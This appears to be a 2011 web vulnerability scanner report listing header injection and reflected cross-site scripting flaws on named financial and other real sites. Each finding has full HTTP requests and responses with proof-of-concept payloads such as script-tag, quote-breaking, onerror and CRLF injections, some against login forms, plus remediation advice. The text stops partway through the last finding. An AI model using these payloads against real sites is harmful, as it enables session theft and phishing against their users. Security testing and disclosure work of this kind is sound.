XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, 09082011-01

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

1.1. http://pixel.everesttech.net/2164/cq [url parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pixel.everesttech.net
Path:	/2164/cq

Issue detail

The value of the url request parameter is copied into the Location response header. The payload 3b8a5%0d%0aff4bfa8fe85 was submitted in the url parameter. This caused a response containing an injected HTTP header.

Request

GET /2164/cq?ev_sid=3&ev_ln=futures%20options&ev_crx=7551788913&ev_mt=b&ev_n=g&ev_ltx=&ev_pl=&url=http%3A//www.optionsxpress.com/promos/experience_an_options_specialist.aspx%3Fintcmp%3Dlp_sales_futures%26cmpid%3Dgsus233050073b8a5%0d%0aff4bfa8fe85 HTTP/1.1
Host: pixel.everesttech.net
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: everest_g_v2=g_surferid~zqROZUBXyFQAAIdR

Response

HTTP/1.1 302 Found
Date: Thu, 08 Sep 2011 19:24:37 GMT
Server: Apache
Set-Cookie: everest_session_v2=CeBOaRZ1-iwAAIdj; path=/; domain=.everesttech.net
Set-Cookie: everest_g_v2=g_surferid~zqROZUBXyFQAAIdR%00a6495"%20a%3db%203d6afe418bc; path=/; domain=.everesttech.net; expires=Fri, 13-Sep-2030 06:04:37 GMT
P3P: CP="NOI NID DEVa PSAa PSDa OUR IND PUR COM NAV INT DEM"
Cache-Control: no-cache
Location: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus233050073b8a5
ff4bfa8fe85&ef_id=zqROZUBXyFQAAIdR%00a6495"%20a%3db%203d6afe418bc:20110908192437:s
Content-Length: 402
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://www.optionsxpress.com/promos/experience_
...[SNIP]...

1.2. http://www.interactivebrokers.co.uk/contract_info/index.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.interactivebrokers.co.uk
Path:	/contract_info/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload cd855%0d%0a236a662b0c was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.

Request

GET /contract_info/index.php?cd855%0d%0a236a662b0c=1 HTTP/1.1
Host: www.interactivebrokers.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Thu, 08 Sep 2011 19:47:35 GMT
Server: Apache
Accept-Ranges: bytes
Location: http://www.interactivebrokers.co.uk/contract_info/v3.7/index.php?cd855
236a662b0c=1
Content-Length: 0
Connection: close
Content-Type: text/html; charset=ISO-8859-1

2. Cross-site scripting (reflected) previous next
There are 31 instances of this issue:

http://360.sorensonmedia.com/api/getPlayerData [vguid parameter]
https://account.optionsxpress.com/OpenAccount/Index [firm parameter]
https://account.optionsxpress.com/OpenAccount/Index [firm parameter]
https://account.optionsxpress.com/OpenAccount/Index [firm parameter]
http://jqueryui.com/themeroller/ [name of an arbitrarily supplied request parameter]
http://optionsxpress.tt.omtrdc.net/m2/optionsxpress/mbox/standard [mbox parameter]
http://transworld.websol.barchart.com/main.php [name of an arbitrarily supplied request parameter]
http://transworld.websol.barchart.com/main.php [page parameter]
http://webstation.barchart.com/eflogin.php [txtPassword parameter]
http://webstation.barchart.com/eflogin.php [txtUsername parameter]
https://www.barchart.com/register/realtime/css/_basicFormCSS.php [errorIds parameter]
http://www.efutures.com/faq.php [name of an arbitrarily supplied request parameter]
http://www.efutures.com/traders/news.php [name of an arbitrarily supplied request parameter]
http://www.futurestrading.com/managed-accounts/what-are-managed-futures.html [REST URL parameter 1]
http://www.globalfutures.com/index.asp [refid parameter]
http://www.google.com/advanced_search [name of an arbitrarily supplied request parameter]
http://www.interactivebrokers.com/mobile/index.php [name of an arbitrarily supplied request parameter]
http://www.interactivebrokers.com/mobile/index.php/images/btn_continuetowebsite.png [REST URL parameter 3]
http://www.interactivebrokers.com/mobile/index.php/images/btn_continuetowebsite.png [REST URL parameter 4]
http://www.interactivebrokers.com/mobile/index.php/images/btn_submit.png [REST URL parameter 3]
http://www.interactivebrokers.com/mobile/index.php/images/btn_submit.png [REST URL parameter 4]
http://www.interactivebrokers.com/mobile/index.php/images/request_app_iblogo.png [REST URL parameter 3]
http://www.interactivebrokers.com/mobile/index.php/images/request_app_iblogo.png [REST URL parameter 4]
http://www.interactivebrokers.com/mobile/index.php/m.css [REST URL parameter 3]
https://www.interactivebrokers.com/sso/Login [forwardTo parameter]
http://www.invest-store.com/cgi-bin/commoditybooks-bin/category.cgi [page parameter]
http://www.invest-store.com/cgi-bin/commoditybooks-bin/home.cgi [division parameter]
http://www2.daytrade4less.com/livesupport/image.php [l parameter]
http://www2.daytrade4less.com/livesupport/js/status_image.php [base_url parameter]
http://www.pfgbest.com/toolkit/ [Referer HTTP header]
http://finance.yahoo.com/news/Retail-gasoline-prices-up-apf-2916275523.html [REST URL parameter 1]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

2.1. http://360.sorensonmedia.com/api/getPlayerData [vguid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://360.sorensonmedia.com
Path:	/api/getPlayerData

Issue detail

The value of the vguid request parameter is copied into the HTML document as plain text between tags. The payload 4cc9f<script>alert(1)</script>c8d9cd7cbe2 was submitted in the vguid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /api/getPlayerData?vguid=7d285f50de540c4b64C9b74Y99dcc88d0ad64cc9f<script>alert(1)</script>c8d9cd7cbe2 HTTP/1.1
Host: 360.sorensonmedia.com
Proxy-Connection: keep-alive
Referer: http://static.cdn.360.sorensonmedia.com/1/flash/flowplayer-3.2.2.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AWSELB=7399391306302201EC8ED885C1DF301EBE94B9D3266A90D7C75A424550F489FD629C2C3ACAAE7C766E443396D53A4DBE988DB00D0CFDBC4B96568304D3BBF7D375BA252957

Response

HTTP/1.1 200 OK
cache-control: no-cache
Content-Type: text/javascript
Date: Thu, 08 Sep 2011 19:25:08 GMT
pragma: no-cache
Server: nginx/0.5.33
Content-Length: 695
Connection: keep-alive

{
"notAvailableImageURL": "http://360.sorensonmedia.com/images/flash_media_player_unviewable.png",
"errorStatus": "UNVIEWABLE",
"embedCode": "<a href=\"#\" onclick=\"return(false);\" rel=\"videoGUID=7d285f50de540c4b64C9b74Y99dcc88d0ad64cc9f<script>alert(1)</script>c8d9cd7cbe2&\" style=\"display:block;width:640px;height:360px\" id=\"7d285f50de540c4b64C9b74Y99dcc88d0ad64cc9f<script>
...[SNIP]...

2.2. https://account.optionsxpress.com/OpenAccount/Index [firm parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Index

Issue detail

The value of the firm request parameter is copied into a JavaScript rest-of-line comment. The payload b5a37%0aalert(1)//18aaa9ddc45 was submitted in the firm parameter. This input was echoed as b5a37
alert(1)//18aaa9ddc45 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(1)//18aaa9ddc45 HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; TLTHID=7168044948469A60359581B20B826924

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 68123
Content-Type: text/html; charset=utf-8
Expires: Thu, 08 Sep 2011 19:27:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
Set-Cookie: TLTHID=66AF9B8F4E24595922509F9212AFCE78; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:27:08 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

</title><link rel="sty
...[SNIP]...
<script type="text/javascript" language="javascript">
var cancelClicked = false;
var countryID = "1";

// var firmName = "OXb5a37
alert(1)//18aaa9ddc45";

$(document).ready(SetIdleFocusFields);

function SetIdleFocusFields() {
$('input[type="text"]').addClass("idleField");
$('input[type="text"]').focus(fu
...[SNIP]...

2.3. https://account.optionsxpress.com/OpenAccount/Index [firm parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Index

Issue detail

The value of the firm request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5b37e"%3balert(1)//81efc02e54c was submitted in the firm parameter. This input was echoed as 5b37e";alert(1)//81efc02e54c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /OpenAccount/Index?intcmp=lp_sales_futures&firm=OX5b37e"%3balert(1)//81efc02e54c HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; TLTHID=7168044948469A60359581B20B826924

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 68139
Content-Type: text/html; charset=utf-8
Expires: Thu, 08 Sep 2011 19:27:04 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
Set-Cookie: TLTHID=3635DD574359FB62BB7ED9846973FF9A; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:27:03 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

</title><link rel="sty
...[SNIP]...
ionId = $('#guid').val();
var countryID = $('#lstCountryIDSel').val();
var newFirm;
var countryName = $("#lstCountryIDSel option:selected").text();
var oldFirm = "OX5b37e";alert(1)//81efc02e54c";
if (countryID >
...[SNIP]...

2.4. https://account.optionsxpress.com/OpenAccount/Index [firm parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Index

Issue detail

The value of the firm request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 906ad"onerror%3d"alert(1)"19fe0f61530 was submitted in the firm parameter. This input was echoed as 906ad"onerror="alert(1)"19fe0f61530 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /OpenAccount/Index?intcmp=lp_sales_futures&firm=OX906ad"onerror%3d"alert(1)"19fe0f61530 HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; TLTHID=7168044948469A60359581B20B826924

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 68201
Content-Type: text/html; charset=utf-8
Expires: Thu, 08 Sep 2011 19:26:59 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
Set-Cookie: TLTHID=DC0FBF694E708FD4EC3FDDB144D503D5; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:26:58 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

</title><link rel="sty
...[SNIP]...
<img id="logo" src="/images/logos/firm/newlogo_ox906ad"onerror="alert(1)"19fe0f61530.gif" alt="optionsXpress" border="0"/>
...[SNIP]...

2.5. http://jqueryui.com/themeroller/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97c97"><script>alert(1)</script>dae92c231b6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?97c97"><script>alert(1)</script>dae92c231b6=1 HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Thu, 08 Sep 2011 19:47:17 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 117289

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller&97c97"><script>alert(1)</script>dae92c231b6=1" type="text/css" media="all" />
...[SNIP]...

2.6. http://optionsxpress.tt.omtrdc.net/m2/optionsxpress/mbox/standard [mbox parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://optionsxpress.tt.omtrdc.net
Path:	/m2/optionsxpress/mbox/standard

Issue detail

The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload 5d1d7<script>alert(1)</script>6f7d154c782 was submitted in the mbox parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /m2/optionsxpress/mbox/standard?mboxHost=www.optionsxpress.com&mboxSession=1315527919598-875378&mboxPage=1315527919598-875378&screenHeight=1200&screenWidth=1920&browserWidth=1266&browserHeight=984&browserTimeOffset=-300&colorDepth=16&mboxCount=1&mbox=ox_lp_options_global5d1d7<script>alert(1)</script>6f7d154c782&mboxId=0&mboxTime=1315509919623&mboxURL=http%3A%2F%2Fwww.optionsxpress.com%2Fpromos%2Fexperience_an_options_specialist.aspx%3Fintcmp%3Dlp_sales_futures%26cmpid%3Dgsus23305007%26ef_id%3DzqROZUBXyFQAAIdR%3A20110908192437%3As&mboxReferrer=http%3A%2F%2Fwww.google.com%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dfutures%2Btrading&mboxVersion=39 HTTP/1.1
Host: optionsxpress.tt.omtrdc.net
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi_holtihx7Bhabx7Dhx7F=[CS]v4|2730A37085079998-400001008005E291|4E6146E0[CE]

Response

HTTP/1.1 200 OK
Content-Type: text/javascript
Content-Length: 216
Date: Thu, 08 Sep 2011 19:25:33 GMT
Server: Test & Target

mboxFactories.get('default').get('ox_lp_options_global5d1d7<script>alert(1)</script>6f7d154c782',0).setOffer(new mboxOfferDefault()).loaded();mboxFactories.get('default').getPCId().forceId("1315527919598-875378.19");

2.7. http://transworld.websol.barchart.com/main.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://transworld.websol.barchart.com
Path:	/main.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8e797'%3balert(1)//508d34a2d3f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8e797';alert(1)//508d34a2d3f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /main.php?page=def/8e797'%3balert(1)//508d34a2d3fault HTTP/1.1
Host: transworld.websol.barchart.com
Proxy-Connection: keep-alive
Referer: http://www.transworldfutures.com/quotes.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:00:03 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
Content-Type: text/html; charset=UTF-8
Via: 1.1 websol.barchart.com (Apache/2.2.9)
P3P: CP="NON ADM OUR STP"
Content-Language: en
Content-Length: 17302

document.write('<table width="100%" cellpadding="3" cellspacing="4" border="0">');
document.write('<tr><td class="bcQuotesCharts">Quotes & Charts</td><td align="right" rowspan="2">');
document.wri
...[SNIP]...
mp = '';
   var page;
   if(bc_QueryForm['bcpage'])
       page = bc_QueryForm['bcpage'];
   else if (tmp)
       page = tmp;
   else if(bc_QueryForm['page'])
       page = bc_QueryForm['page'];
   else
       page = 'def/8e797';alert(1)//508d34a2d3fault';
   var qpage = 'def/8e797';alert(1)//508d34a2d3fault';
   var bcchartheader = '';

   // Include common JavaScript code.
   document.write('<script type="text/javascript" src="' + 'http' + '://shar
...[SNIP]...

2.8. http://transworld.websol.barchart.com/main.php [page parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://transworld.websol.barchart.com
Path:	/main.php

Issue detail

The value of the page request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d3753'%3balert(1)//130dd2f800b was submitted in the page parameter. This input was echoed as d3753';alert(1)//130dd2f800b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /main.php?page=defaultd3753'%3balert(1)//130dd2f800b HTTP/1.1
Host: transworld.websol.barchart.com
Proxy-Connection: keep-alive
Referer: http://www.transworldfutures.com/quotes.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:00:02 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
Content-Type: text/html; charset=UTF-8
Via: 1.1 websol.barchart.com (Apache/2.2.9)
P3P: CP="NON ADM OUR STP"
Content-Language: en
Content-Length: 17300

document.write('<table width="100%" cellpadding="3" cellspacing="4" border="0">');
document.write('<tr><td class="bcQuotesCharts">Quotes & Charts</td><td align="right" rowspan="2">');
document.wri
...[SNIP]...
= '';
   var page;
   if(bc_QueryForm['bcpage'])
       page = bc_QueryForm['bcpage'];
   else if (tmp)
       page = tmp;
   else if(bc_QueryForm['page'])
       page = bc_QueryForm['page'];
   else
       page = 'defaultd3753';alert(1)//130dd2f800b';
   var qpage = 'defaultd3753';alert(1)//130dd2f800b';
   var bcchartheader = '';

   // Include common JavaScript code.
   document.write('<script type="text/javascript" src="' + 'http' + '://shared.we
...[SNIP]...

2.9. http://webstation.barchart.com/eflogin.php [txtPassword parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://webstation.barchart.com
Path:	/eflogin.php

Issue detail

The value of the txtPassword request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4752"><script>alert(1)</script>a4140041353 was submitted in the txtPassword parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /eflogin.php HTTP/1.1
Host: webstation.barchart.com
Proxy-Connection: keep-alive
Referer: http://webstation.barchart.com/eflogin.php
Content-Length: 25
Cache-Control: max-age=0
Origin: http://webstation.barchart.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=l8d8m1qkadr5phrb94ttmb4st3

txtUsername=&txtPassword=a4752"><script>alert(1)</script>a4140041353

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:34:36 GMT
Server: Apache/2.2.15 (Fedora)
X-Powered-By: PHP/5.3.3
Expires: 0
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3470
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<script language="javascript" type="text/javascript" src="js/DetectEnv.js"></sc
...[SNIP]...
<input type="password" id="txtPassword" name="txtPassword" value="a4752"><script>alert(1)</script>a4140041353" style="left: 100px; position: absolute; top: 120px; width: 150px; background-color: #eaeaea;" />
...[SNIP]...

2.10. http://webstation.barchart.com/eflogin.php [txtUsername parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://webstation.barchart.com
Path:	/eflogin.php

Issue detail

The value of the txtUsername request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea4ef"><script>alert(1)</script>38aecde0899 was submitted in the txtUsername parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /eflogin.php HTTP/1.1
Host: webstation.barchart.com
Proxy-Connection: keep-alive
Referer: http://webstation.barchart.com/eflogin.php
Content-Length: 25
Cache-Control: max-age=0
Origin: http://webstation.barchart.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=l8d8m1qkadr5phrb94ttmb4st3

txtUsername=ea4ef"><script>alert(1)</script>38aecde0899&txtPassword=

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:34:36 GMT
Server: Apache/2.2.15 (Fedora)
X-Powered-By: PHP/5.3.3
Expires: 0
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3470
